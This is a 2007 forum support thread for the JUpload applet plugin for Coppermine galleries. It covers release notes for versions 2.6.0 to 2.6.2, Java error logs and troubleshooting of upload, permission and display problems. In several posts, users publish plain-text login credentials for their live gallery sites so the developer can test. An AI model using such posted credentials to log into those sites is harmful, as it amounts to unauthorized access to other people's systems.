Post by: etienne_sf on August 29, 2007, 01:30:55 pm
Check it and fixed it..

moved the counter above the </html>..

Thanks a lot for figuring that out for me.. !!  Working fine now.  You can use the admin login to check it out if you like..

Thanks a bunch!

Good!
Checked Ok, for me too.

FYI: the last version (still beta, wait a little to use the real 2.6.0) will allow you to easily control the applet width.
Meanwhile, you can take a look to this message:
http://forum.coppermine-gallery.net/index.php?topic=43432.msg217842#msg217842 (http://forum.coppermine-gallery.net/index.php?topic=43432.msg217842#msg217842)

Etienne
Title: Re: Albums not displaying
Post by: skidpics on August 29, 2007, 05:19:20 pm
Good!
Checked Ok, for me too.

FYI: the last version (still beta, wait a little to use the real 2.6.0) will allow you to easily control the applet width.
Meanwhile, you can take a look to this message:
http://forum.coppermine-gallery.net/index.php?topic=43432.msg217842#msg217842 (http://forum.coppermine-gallery.net/index.php?topic=43432.msg217842#msg217842)

Etienne

Awesome!  I applied the fix with the width.  Thanks a lot for the help!
Title: Re: Upload applet (JUpload)
Post by: MrChance on August 29, 2007, 08:08:51 pm
Hi Etienne,

you send me an email to check the PHP Version.
Thank you for your quick respond.

You are right, my PHP Version is 4.1.2.
I don't think my Service Provider will upgrade for me :-)
Maybe you know a workaround ?


Hi !

I just installed Coppermine 1.4.12 and Jupload 2.6 Beta.
(with the plugin zip-upload, the subdirectories were empty.
So I corrected that manually and than clicked "I-nstall" in
the plugin-manager)

The Configuration and the JUpload-Button appeared. But when
I click the JUpload-Button nothing happens (Site is on ?file=jupload/jupload)

I am waiting for you ... :-)


------
EDIT:  when i change from admin to a normal user, the first upload site appears (where i can select the album).
After creating a new album, nothing happens again.



Title: Re: Upload applet (JUpload)
Post by: etienne_sf on August 29, 2007, 10:10:36 pm
Hi Etienne,

you send me an email to check the PHP Version.
Thank you for your quick respond.

You are right, my PHP Version is 4.1.2.
I don't think my Service Provider will upgrade for me :-)
Maybe you know a workaround ?

Hum, not that easy.

  I'll mail you if I find one.

Regards
Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on September 01, 2007, 11:28:18 am
i have problems choosing the last folder in the last layer of the picturfolders on my hdd. you can only choose the whole folder and you cannot open the last folder in the last layer. for this particular reason i downgraded to 2.5.8 until you get back online.

Farnsi,

  Can you precise what you mean by last folder of last layer ?   I can't repeat this problem...

Etienne
Title: Re: Upload applet (JUpload)
Post by: Farnsi on September 01, 2007, 12:12:35 pm
ok, no problem. unfortunately i have uninstalled the 2.6 beta so you can't just have a look.
what i meant was that the last folder won't open. you just can't open it to choose some pics, it was like "take the whole folder (all pics) or none".

like this:

folder 3
--folder 2
---folder1 (this folder can't be opened to choose some of the pics it contains, you can only take the whole folder)
----pics

i hope this explains it better..  ::)
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on September 02, 2007, 11:14:34 am
ok, no problem. unfortunately i have uninstalled the 2.6 beta so you can't just have a look.
what i meant was that the last folder won't open. you just can't open it to choose some pics, it was like "take the whole folder (all pics) or none".

like this:

folder 3
--folder 2
---folder1 (this folder can't be opened to choose some of the pics it contains, you can only take the whole folder)
----pics

i hope this explains it better..  ::)

Hum, your explanation is clear enough, but I can't repeat it. I deployed the 2.6.0b (b for beta) on my demo site, link below. Can you confirm me that there is the same problem on it ?
http://etiennegauthier.free.fr/coppermine/index.php?file=jupload/jupload (http://etiennegauthier.free.fr/coppermine/index.php?file=jupload/jupload)

Which Java version do you use ?


Etienne
Title: Re: Upload applet (JUpload)
Post by: Farnsi on September 02, 2007, 01:37:04 pm
i now have updated to the latest version and have tried the applet on your testsite.

ok i don't think it is really the problem with the last folder it is more a problem with something else.

see this structure:

-folder3
--folder 2 (with pics in it -> you see a preview of these pics)
---folder1
----pics

when i am in folder 2 the applet is super slow and does not let me choose another folder in an acceptable time (there are only a handful of pics in folder 2).
when i finally could choose folder 1 it won't open. the cancel-button and the open-button works but you can only cancel any actions or choose th whole folder 1.  ???
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on September 02, 2007, 03:04:51 pm
i now have updated to the latest version and have tried the applet on your testsite.

ok i don't think it is really the problem with the last folder it is more a problem with something else.

see this structure:

-folder3
--folder 2 (with pics in it -> you see a preview of these pics)
---folder1
----pics

when i am in folder 2 the applet is super slow and does not let me choose another folder in an acceptable time (there are only a handful of pics in folder 2).
when i finally could choose folder 1 it won't open. the cancel-button and the open-button works but you can only cancel any actions or choose th whole folder 1.  ???

Yes,  I confirm that . Just the 'super-slow' is something I'm fighting against.

  I replaced the file icon in the file chooser by a preview of the pictures. It consumes too much CPU, and makes the file chooser be 'super slow'. In my running on dev, I played with thread priority, so that the applet is more reactive. But the real good way to use the applet, is to do a drag'n drop from a good pricture view tool, like ACD See, or the OS file explorer.

FYI: you can remove this within JUpload configuration, by putting false to the fileChooserIconFromFileContent config parameter (available since 2.6.0b). Then, the applet as reacrive as any standard file chooser.


Etienne
Title: Re: Albums not displaying
Post by: skidpics on September 03, 2007, 04:43:34 am
Good!
Checked Ok, for me too.

FYI: the last version (still beta, wait a little to use the real 2.6.0) will allow you to easily control the applet width.
Meanwhile, you can take a look to this message:
http://forum.coppermine-gallery.net/index.php?topic=43432.msg217842#msg217842 (http://forum.coppermine-gallery.net/index.php?topic=43432.msg217842#msg217842)

Etienne

Thanks for the help!  I edit the required file, and the applet size does not change.  Any other suggestions?
Title: Re: Albums not displaying
Post by: etienne_sf on September 03, 2007, 11:16:24 am
Thanks for the help!  I edit the required file, and the applet size does not change.  Any other suggestions?

It must change.

If not, you must be in one of these case:
- You did not edit the file correctly.
- You did not transfert the updated file on the server
- The unchanged file is in cache somewhere (hit F5 to force reload in your navigator). If cached by a proxy, you can add a muddy parameter to the URL. (for instance, you can add to the URL: &dummy=aaa)

Etienne
Title: Relase 2.6.0: now available !
Post by: etienne_sf on September 05, 2007, 02:45:52 pm
Hi,

  You'll find attach to this thread, or on the link below the 2.6.0 release of the JUpload plugin.

http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)


Here is the change log for both 2.6.0 and 2.6.0 beta


===== Version 2.6.0 =====

Take care of this point:
  - Configuration migration (first point below): if you get back to 2.5.x, you'll have to enter your
configuration back into the configuration page.


Changes:
  * Add of the appletWidth and appletHeight parameters, which allows to easy control the height and width of
  the applet. Especially useful for themes that have small area for the applet, like i-feel-dirty.

Bug fixes:
  * [Major] The update and create album buttons now raises an error, when the user has no right to update/create
  an album in the choosen category. This error is raised in javascript, and controled again in the PHP script (to
  prevent 'attack' from the web).
  * [Minor] clicking on 'Create album', when no category is selected, JUpload now displays a proper message.
  * [Major] Drag'n Drop: the applet now controls whether the dropped files correspond to the current file filter (list
of allowed file extensions).
  * [Minor] The picture preview in the file chooser displays bigger pictures.


===== Version 2.6.0b =====

Beta version for JUpload 2.6
Take care of this point:
  - Configuration migration (first point below): if you get back to 2.5.x, you'll have to enter your
configuration back into the configuration page.


Changes:
  * [Major] The JUpload configuration is now stored in the database. No more configuration in php files: saving the
database also saves the JUpload configuration. An automatic migration will copy the JUpload configuration to the
database during the plugin installation (or update), or its first access.
  * [Major] Standard user can now see the categories, select one, then see the albums contained in the selected
category. Allows easy and fast access to the public albums. Default category selection is the user's gallery (if any).
  * [Major] the file chooser is now more reactive. if it's still enough, you can put the fileChooserIconFromFileContent
  config parameter to false.
  * [Minor] May be major for big galleries: uploaded files are now separated in distinct directories. In non safe_mode,
uploaded pictures (and nomral and thum ones) are stored in the albums/userpictures/10000+USERID/AlbumID/
  * [Minor] New fileChooserIconFromFileContent config parameter, to control whether the file icons on the file
chooser are calculated from the image (tkind of picture preview) or are the default system icons.
  * [Minor] New fileChooserIconSize config parameter, to control the icon size. Used only if
fileChooserIconFromFileContent is true.


Fixes:
- [Minor] All file icons are now displayed in the file chooser(the last one was not refreshed)

Translation:
- Czech translation available, thanks to Vladan Zajda.
Title: Re: Upload applet (JUpload)
Post by: choupette549 on September 08, 2007, 04:59:05 pm
Hi Etienne,

I need your help, once again because I have some trouble
with the IPTC data in the jpg files and the jupload plugin.

When this function, read IPTC data, is set to on in coppermine
it works only when the jupload applet didn't work on the pictures
to send to the server.

But when it resize the pictures before sending it (and maybe when
it chunks the file?), it fails.

You will say me, let your server resizing the images but when
the applet does it, the upload is much quicker and the server
has less work. And this is what I find great with this plugin.

So, is it possible, within the applet, to keep the IPTC informations
when the pictures are resized ?


Thanks a lot for your help.


Quentin
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on September 08, 2007, 07:09:43 pm
So, is it possible, within the applet, to keep the IPTC informations
when the pictures are resized ?

Of course it's possible !

  Just a matter of work     ;)

It's on my TODO list. As I'm still loosing my time in the train every day, I'll use my time on this one. Check new JUpload releases.


Etienne
Title: Re: Upload applet (JUpload)
Post by: choupette549 on September 17, 2007, 09:27:34 am
Hi Etienne,

Thanks for adding this to your to do list.

I will also mention you that on a post (9 june) I mentionned you
that I had problems with displaying accent on the upload page.

Well, this problem comes from modifications that I did on this page
and not from your great plugin.

Have a nice week


Quentin
Title: Release 2.6.1
Post by: etienne_sf on September 19, 2007, 07:21:38 pm

Hi,

  I just released the version 2.6.1 of the JUpload plugin for Coppermine.

It's availble with this link:
http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=8447

and on this page:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb


Changes:
  * The applet now transmits metadata (IPTC and EXIF).

Bug fixed:
  * The applet now manages correctly files that can't be read (no read access on the file system).
Title: Re: Upload applet (JUpload)
Post by: youth4j on September 21, 2007, 07:24:57 am
Every time my users try to upload using the JUpload it doesn't work. It gives them this error " (2)Selected album does not exist or you don't have permission to upload in this album "  But the users are able to upload using the old upload method.

 What could the problem be, and how can it be fix it ASAP. Thanks
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on September 23, 2007, 12:53:31 pm
Every time my users try to upload using the JUpload it doesn't work. It gives them this error " (2)Selected album does not exist or you don't have permission to upload in this album "  But the users are able to upload using the old upload method.

 What could the problem be, and how can it be fix it ASAP. Thanks

Hi,

  Can you give me the URL and a test account ?

Etienne
Title: Re: Upload applet (JUpload)
Post by: vastre on September 23, 2007, 07:07:15 pm
Hi,
I am using 2.6.1 and having trouble uploading files over a network.
I have a server machine running XP with apache & PHP etc. if i use 2.6.1 to bulk upload on this machine it works fine but if I try from other PCs on the network then I get the following errors:

17:53:19.890 [INFO] Debug level set to 0
17:53:19.906 [INFO] Current debug output file: C:\Temp\jupload_50965_log.txt
17:53:19.906 [WARN] Invalid int value: true, using default value: 0
17:53:20.296 [WARN] Invalid int value: , using default value: 0
17:53:20.296 [INFO] JUpload plugin for coppermine version 2.6.1
17:53:25.281 [WARN] Invalid int value: , using default value: 0
17:54:23.718 [INFO] Start of metadata managing, for 09-09-07_1353.jpg
17:54:24.953 [INFO] Debug level set to 1
17:54:24.953 [INFO] Current debug output file: C:\Temp\jupload_50965_log.txt
17:54:24.953 [ERROR] Upload stopped with errors
17:54:24.953 [ERROR] wjhk.jupload2.exception.JUploadException: java.net.ConnectException: Connection refused: connect
17:54:24.953 [ERROR]    at wjhk.jupload2.upload.FileUploadThreadHTTP.startRequest(FileUploadThreadHTTP.java:586)
17:54:24.953 [ERROR]    at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:678)
17:54:24.953 [ERROR]    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:486)
17:54:24.953 [ERROR] Caused by: java.net.ConnectException: Connection refused: connect
17:54:24.953 [ERROR]    at java.net.PlainSocketImpl.socketConnect(Native Method)
17:54:24.953 [ERROR]    at java.net.PlainSocketImpl.doConnect(Unknown Source)
17:54:24.953 [ERROR]    at java.net.PlainSocketImpl.connectToAddress(Unknown Source)
17:54:24.953 [ERROR]    at java.net.PlainSocketImpl.connect(Unknown Source)
17:54:24.953 [ERROR]    at java.net.SocksSocketImpl.connect(Unknown Source)
17:54:24.953 [ERROR]    at java.net.Socket.connect(Unknown Source)
17:54:24.953 [ERROR]    at java.net.Socket.connect(Unknown Source)
17:54:24.953 [ERROR]    at java.net.Socket.<init>(Unknown Source)
17:54:24.953 [ERROR]    at java.net.Socket.<init>(Unknown Source)
17:54:24.953 [ERROR]    at wjhk.jupload2.upload.HttpConnect.Connect(HttpConnect.java:189)
17:54:24.953 [ERROR]    at wjhk.jupload2.upload.FileUploadThreadHTTP.startRequest(FileUploadThreadHTTP.java:576)
17:54:24.953 [ERROR]    ... 2 more
17:54:24.953 [ERROR] wjhk.jupload2.exception.JUploadException: java.net.ConnectException: Connection refused: connect
17:54:24.953 [ERROR]    at wjhk.jupload2.upload.FileUploadThreadHTTP.startRequest(FileUploadThreadHTTP.java:586)
17:54:24.953 [ERROR]    at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:678)
17:54:24.953 [ERROR]    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:486)
17:54:24.953 [ERROR] Caused by: java.net.ConnectException: Connection refused: connect
17:54:24.953 [ERROR]    at java.net.PlainSocketImpl.socketConnect(Native Method)
17:54:24.953 [ERROR]    at java.net.PlainSocketImpl.doConnect(Unknown Source)
17:54:24.953 [ERROR]    at java.net.PlainSocketImpl.connectToAddress(Unknown Source)
17:54:24.953 [ERROR]    at java.net.PlainSocketImpl.connect(Unknown Source)
17:54:24.953 [ERROR]    at java.net.SocksSocketImpl.connect(Unknown Source)
17:54:24.953 [ERROR]    at java.net.Socket.connect(Unknown Source)
17:54:24.953 [ERROR]    at java.net.Socket.connect(Unknown Source)
17:54:24.953 [ERROR]    at java.net.Socket.<init>(Unknown Source)
17:54:24.953 [ERROR]    at java.net.Socket.<init>(Unknown Source)
17:54:24.953 [ERROR]    at wjhk.jupload2.upload.HttpConnect.Connect(HttpConnect.java:189)
17:54:24.953 [ERROR]    at wjhk.jupload2.upload.FileUploadThreadHTTP.startRequest(FileUploadThreadHTTP.java:576)
17:54:24.953 [ERROR]    ... 2 more
17:54:33.046 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)


The PCs are connected via a router.

It looks like the access to the host PC is denied somehow, I have apache listening on port 80. Does this applet use a specific port when sending the file data?

Any help would be greatly appreciated.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on September 23, 2007, 07:58:26 pm
Hi,
I am using 2.6.1 and having trouble uploading files over a network.
I have a server machine running XP with apache & PHP etc. if i use 2.6.1 to bulk upload on this machine it works fine but if I try from other PCs on the network then I get the following errors:

[Cut]

[Cut]

17:54:24.953 [ERROR] wjhk.jupload2.exception.JUploadException: java.net.ConnectException: Connection refused: connect
17:54:24.953 [ERROR]    at wjhk.jupload2.upload.FileUploadThreadHTTP.startRequest(FileUploadThreadHTTP.java:586)

[Cut]

The PCs are connected via a router.

It looks like the access to the host PC is denied somehow, I have apache listening on port 80. Does this applet use a specific port when sending the file data?

Any help would be greatly appreciated.

Hum, hum,

  There is nothing special once on the network: the applet call is the same as the standard upload one, done by the navigator. I think that network routers or switch can't gues that the call is done by the applet and not by the navigator.
  I think the problem is local to your computers.

Do you have any personal firewall on this computers, that could prevent java.exe to access to your host ?

Etienne
Title: Re: Upload applet (JUpload)
Post by: vastre on September 23, 2007, 08:19:44 pm


Do you have any personal firewall on this computers, that could prevent java.exe to access to your host ?

Etienne

Hi Etienne,

Thanks for the quick rerply.
I did have software firewalls on all computers but I set them to open all ports in and out but that didnt work (still got the same error)
I then uninstalled all the software firewalls but it doesnt make any difference, still get the same error when trying to send the image files.

If I uninstall the jupload plugin the standard file uploader works fine from al PCs....
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on September 24, 2007, 02:23:50 pm
Hi Etienne,

Thanks for the quick rerply.
I did have software firewalls on all computers but I set them to open all ports in and out but that didnt work (still got the same error)
I then uninstalled all the software firewalls but it doesnt make any difference, still get the same error when trying to send the image files.

If I uninstall the jupload plugin the standard file uploader works fine from al PCs....

Hum, hum: really strange.

- Do you use any special URL (https with client authentication or ftps, for instance) ?
- Can you give me a test account ?

Etienne
Title: Re: Release 2.6.1
Post by: skidpics on September 28, 2007, 07:49:35 pm
Hi,

  I just released the version 2.6.1 of the JUpload plugin for Coppermine.

It's availble with this link:
http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=8447

and on this page:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb


Changes:
  * The applet now transmits metadata (IPTC and EXIF).

Bug fixed:
  * The applet now manages correctly files that can't be read (no read access on the file system).


Do I reinstall it, or just copy the files over?
Title: Re: Upload applet (JUpload)
Post by: skidpics on September 28, 2007, 08:13:43 pm
Just upgrade to the new version.

Problem I had with registered users uploading to personal album is that even though album was already there, I had to click on 'update' in order to get it to select the album.  Without that, it tells me to select an album.

Quote
Second, I am getting this debug code, so pics are not uploading.

13:09:37.562 [INFO] Debug level set to 0
13:09:37.562 [INFO] Current debug output file: C:\DOCUME~1\COMPAQ~1\LOCALS~1\Temp\jupload_48750_log.txt
13:09:37.562 [WARN] Invalid int value: true, using default value: 0
13:09:38.000 [INFO] JUpload plugin for coppermine version 2.6.1
13:10:39.125 [INFO] Debug level set to 1
13:10:39.125 [INFO] Current debug output file: C:\DOCUME~1\COMPAQ~1\LOCALS~1\Temp\jupload_48750_log.txt
13:10:39.125 [ERROR] Upload stopped with errors
13:10:39.125 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 500 Internal Server Error
13:10:39.125 [ERROR]    at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:550)
13:10:39.125 [ERROR]    at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:731)
13:10:39.125 [ERROR]    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:486)
13:10:39.125 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 500 Internal Server Error
13:10:39.125 [ERROR]    at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:550)
13:10:39.125 [ERROR]    at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:731)
13:10:39.125 [ERROR]    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:486)
13:10:43.140 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)

user account is
login: test
password: test

Title: Re: Upload applet (JUpload)
Post by: skidpics on September 29, 2007, 06:30:21 am
Well, disregard that.My images were roughtly 900k each, and I had 103 of them, but with the 1st upload, it would just throw an error.  I just resized them, and they upload fine.  Guess I need to learn to tweak my max image size default. 
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on September 29, 2007, 10:54:30 am
Well, disregard that.My images were roughtly 900k each, and I had 103 of them, but with the 1st upload, it would just throw an error.  I just resized them, and they upload fine.  Guess I need to learn to tweak my max image size default. 


Hum, hum,

  Is everything Ok now ?

You should be able to send 103 pictures without any problem. I'll check that pictures are sent one by one, and not 103 pictures all in the same time, which should not work properly. I don't think that the problem is relative to the max picture size: if it works for one, it must work for 100.

Etienne
Title: Re: Upload applet (JUpload)
Post by: skidpics on September 30, 2007, 07:15:25 am

Hum, hum,

  Is everything Ok now ?

You should be able to send 103 pictures without any problem. I'll check that pictures are sent one by one, and not 103 pictures all in the same time, which should not work properly. I don't think that the problem is relative to the max picture size: if it works for one, it must work for 100.

Etienne

I agree - I resized them down a bit and it all works fine, for all the images.  I tried it after refreshing my cache and rebooting before the resize and it did the same thing..  Will try again when I have some time, if the problem persists with that particular file size...
Title: Re: Upload applet (JUpload)
Post by: eka on September 30, 2007, 09:42:24 am
Hi,

The Upload applet is simply great - saves a lot of time to upload a batch of photos.

Just a question, my editpics page stretches across the screen. 
I had to use the horizontal scroll to get to see the pic on the right.
Is it possible to reduce the size of the picture or width of the page so that I don't have to scroll horizontally?

Thanks.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on September 30, 2007, 07:04:20 pm
Hi,

The Upload applet is simply great - saves a lot of time to upload a batch of photos.

Just a question, my editpics page stretches across the screen. 
I had to use the horizontal scroll to get to see the pic on the right.
Is it possible to reduce the size of the picture or width of the page so that I don't have to scroll horizontally?

Thanks.

Nice that you find it useful, and thanks for the comment.

Questions:
- Do you have Coppermine debug activated ?   
- Which navigator / OS ?
- Can you give me a test URL: you're the first to tell me that

Etienne
Title: Re: Upload applet (JUpload)
Post by: youth4j on September 30, 2007, 11:14:08 pm
Hi,

  Can you give me the URL and a test account ?

Etienne

username: imvitaliy
password: password

link: http://www.y4j.org/y4jers/pics/index.php?file=jupload/jupload

please try to upload about 10 photos to be able to see that is wrong. Thanks
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 01, 2007, 09:40:02 pm
username: imvitaliy
password: password

link: http://www.y4j.org/y4jers/pics/index.php?file=jupload/jupload

please try to upload about 10 photos to be able to see that is wrong. Thanks

Hi,

  You have an old version. You should first switch to the last one.

FYI:
1) On the public album you've opened: I got the 'You don't have permission to access this page' error, after upload, when going to the edit pics page.
2) I created an album with the plugin, but wa not authorized to upload to it! Standard upload worked (take care, the test picture is visible on your site: a child playing in the see)



Etienne
Title: Re: Upload applet (JUpload)
Post by: youth4j on October 02, 2007, 03:39:37 am
that is part of the problem, my users are always logged out of cpg before they are able to upload into their own gallery. Or they upload the photos and then it log-out the users before they can accociate their photos with their albums.

Did you have that problem when trying to upload using the normal upload?

Also, how can I upgrade to a new JUpload? Do I just delete the other one and upload a new jupload?

Thanks
Title: Re: Upload applet (JUpload)
Post by: Farnsi on October 02, 2007, 11:07:43 am
Quote
Also, how can I upgrade to a new JUpload? Do I just delete the other one and upload a new jupload?
uninstall the old one and install the new version.  :)
Title: Re: Upload applet (JUpload)
Post by: eka on October 02, 2007, 04:08:59 pm
Hi etienne_sf,

Thank you for your response.

Regarding the problem I highlighted - I need to scroll horizontally to the right to see the whole picture in my editpics page.  I created a test account and also an album and had wanted to show you - but then everything seemed all right when I got to the edit pics page for this album.

The problem, however, remained with the earlier albums - I still need to scroll to the right to see the whole picture in the editpics page.

Just wondering, do the length of the title or the description in an album have anything to do with the problem?  I have  long titles / descriptions for these albums.  If not, what could be the cause of it?
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 02, 2007, 05:23:18 pm
uninstall the old one and install the new version.  :)

Oups,  with this old version, you should not uninstall the plugin: before 2.6.0, the JUpload configuration is stored in a file. If you uninstall it, you'll lose it.

There is not problem to install a new JUpload version over an old one.

Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 02, 2007, 05:24:36 pm
Hi etienne_sf,

Thank you for your response.

Regarding the problem I highlighted - I need to scroll horizontally to the right to see the whole picture in my editpics page.  I created a test account and also an album and had wanted to show you - but then everything seemed all right when I got to the edit pics page for this album.

The problem, however, remained with the earlier albums - I still need to scroll to the right to see the whole picture in the editpics page.

Just wondering, do the length of the title or the description in an album have anything to do with the problem?  I have  long titles / descriptions for these albums.  If not, what could be the cause of it?


I don't know. Can you send me a screenshot ?

By PM for instance.


Etienne
Title: Re: Upload applet (JUpload)
Post by: eka on October 03, 2007, 05:03:23 pm
Hi again,

Pse see attached screen shot of the editpics page of my problem albums.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 03, 2007, 09:34:39 pm
Hi again,

Pse see attached screen shot of the editpics page of my problem albums.

Hi,

  Your 'thumbnail' pictures seems to be quite big.

When you navigate to the album, and select the 'update picture' links, the display should be the same as after the upload by Jupload.

Is it the case ?

Etienne
Title: Re: Upload applet (JUpload)
Post by: eka on October 04, 2007, 07:58:58 am
Hi,

Imediately after I Jupload, the pictures were Ok (I need not scroll to see the fullpicture).
But after editing (filling in title and description) and clicking "update" I ran into the problem - I need to scroll right to see the rest of the picture. But If I do not edit, then it seems OK.



Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 04, 2007, 01:54:24 pm
Hi,

Imediately after I Jupload, the pictures were Ok (I need not scroll to see the fullpicture).
But after editing (filling in title and description) and clicking "update" I ran into the problem - I need to scroll right to see the rest of the picture. But If I do not edit, then it seems OK.

  Question: did you try updating picture data, from the standard page ?
When you navigate to the album, and select the 'update picture' links, the display should be the same as after the upload by Jupload.

It's exactly the same code, and it should behave the same.

Also, which version do you use:
- OS
- Navigator
- JUpload
- Coppermine.
- ...



Etienne
Title: Re: Upload applet (JUpload)
Post by: eka on October 04, 2007, 05:20:27 pm
Hi etienne_sf

Thank you for your patience.
I just created an album and Jupload again - the same problem occurred again on the editpics page.
Since you said the codes were the same, I proceeded to check some other of my albums that contained photos uploaded the coppermine way. 
Guess what - I got the same problem in the editpics page. 
I reckon this suggests that problem is not with Jupload.
I'm not sure but it could have something to do with the coppermine codes for that editpics page.

Thanks again etienne_sf  -  Jupload, as it is, is really a wonderful time saver.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 05, 2007, 03:42:10 pm
Hi etienne_sf

Thank you for your patience.
I just created an album and Jupload again - the same problem occurred again on the editpics page.
Since you said the codes were the same, I proceeded to check some other of my albums that contained photos uploaded the coppermine way. 
Guess what - I got the same problem in the editpics page. 
I reckon this suggests that problem is not with Jupload.
I'm not sure but it could have something to do with the coppermine codes for that editpics page.

Thanks again etienne_sf  -  Jupload, as it is, is really a wonderful time saver.

Thanks ...  ;-)


  This being said, it would be nice to identify the bug. Can you send me the HTML (by PM for instance) code of the page, when you see the 'too big' pictures. I'll try to identify the problem.

Etienne
Title: Re: Upload applet (JUpload)
Post by: eka on October 12, 2007, 07:04:11 am
Hi,

here's the html code of the problem page (editpics) attached.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 12, 2007, 10:25:30 pm
here's the html code of the problem page (editpics) attached.

Hi,

  Are you the one that sent me editpics by emails ?   It's not the same version: 1.4.12 by mail, and 1.4.8 in the above message.

I searched into the public CVS, but I didn't see the version tag, so I can analyse differences there.

A question though: do the 'faulty' upload need approval ?
I yes, I've perhaps detected some suspect stuff in the code.

Regards
Etienne
Title: You don't have permission to perform this operation. If you're not connected, pl
Post by: viettho on October 14, 2007, 01:35:58 am
I installed this cool plug-in with my gallery, but I got this error, even if I already logged in as Administrator:

Quote
You don't have permission to perform this operation.
If you're not connected, please login first


My gallery is bridged with SimpleMachine forum. If I unbridged and use Coppermine username/password, it works fine. I guess this have to do with session. Anyone has problem with is? I really don't want to make users to register 2 times, one for the forum and one for the gallery.


I went through 11 pages of this topic, but couldn't find any help. Maybe I'm missing to set some thing in the config. Could anyone please help? Thanks.
Title: Re: Upload applet (JUpload)
Post by: eka on October 15, 2007, 11:50:08 am
Hi etienne_sf,

I did email you the page of editpics but it was the wrong file -  I sent you the php file (v 1.4.12) instead of the html page.

I'm not sure whether this has anything to do with the problem - I had earlier upgraded from 1.4.8 to 1.4.12.

But my question is why is the problem confined to only one user account?  I did a test using another account and Juploaded some files and the problem did not surface.

And yes, I need to login into the account before I can upload files.


Title: Re: Upload applet (JUpload)
Post by: Hein Traag on October 15, 2007, 11:52:48 am
eka , update to 1.4.13 asap
Title: Re: Upload applet (JUpload)
Post by: russell235 on October 18, 2007, 08:58:08 pm
In my opinion, the JUpload plugin is probably the single most useful plugin for a website with a large number of images.  It also appears your support is superb.  Thanks for sharing with us.

I'm running the latest version (2.6.1), and while logged in as admin, I am unable to use JUpload for my personal album.  It doesn't appear as a category/album to choose from.  I am still able to upload to my personal gallery via the normal upload.  The JUpload works perfectly for registered users who have personal galleries.  It appears to only be a bug for admin with personal galleries.  Admin can still upload to public albums fine.
Title: Re: Upload applet (JUpload)
Post by: Phill Luckhurst on October 18, 2007, 10:57:14 pm
Brilliant plugin.

I have one little problem. If I try to upload big images (3meg ish) all the colours get screwed up. It workd fine with the standard upload process, it's just jupload that is the problem. Small files upload fine.

You can see an example of the problem on the link below.

http://www.windsurf.me.uk/cpgtest/

Yes, I know it's 1.4.10 but it's just a test install on a test server that I can rebuild in a few minutes if there is a problem. I've also experienced the same problem on my main site that has the latest 1.4.13 install and I get the same problem there so I have disabled the plugin until I get it fixed.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 19, 2007, 02:48:08 pm
In my opinion, the JUpload plugin is probably the single most useful plugin for a website with a large number of images.  It also appears your support is superb.  Thanks for sharing with us.

I'm running the latest version (2.6.1), and while logged in as admin, I am unable to use JUpload for my personal album.  It doesn't appear as a category/album to choose from.  I am still able to upload to my personal gallery via the normal upload.  The JUpload works perfectly for registered users who have personal galleries.  It appears to only be a bug for admin with personal galleries.  Admin can still upload to public albums fine.


Thanks for the comment ... and exact for the bug.

Corrected in the 2.6.2 release, available here:
http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=8767

And on my web site:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb

Regards
Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on October 19, 2007, 02:51:53 pm
I have one little problem. If I try to upload big images (3meg ish) all the colours get screwed up. It workd fine with the standard upload process, it's just jupload that is the problem. Small files upload fine.

You can see an example of the problem on the link below.

http://www.windsurf.me.uk/cpgtest/

Hum, hum,

  Looks like the applet doesn't like your pictures.

Some questions:
- Which java do you use?
- Can you give me one original picture, so that I can repeat the problem on my computer ?

Etienne
Title: Re: Upload applet (JUpload)
Post by: Phill Luckhurst on October 19, 2007, 03:30:43 pm
Hum, hum,

  Looks like the applet doesn't like your pictures.

Some questions:
- Which java do you use?
- Can you give me one original picture, so that I can repeat the problem on my computer ?

Etienne

Thanks for your quick response.

I've tested uploading images from both my home pc and my laptop. Both are using WinXP :-[ and I installed Java on both last night so it's the latest release Version 6 update 3.

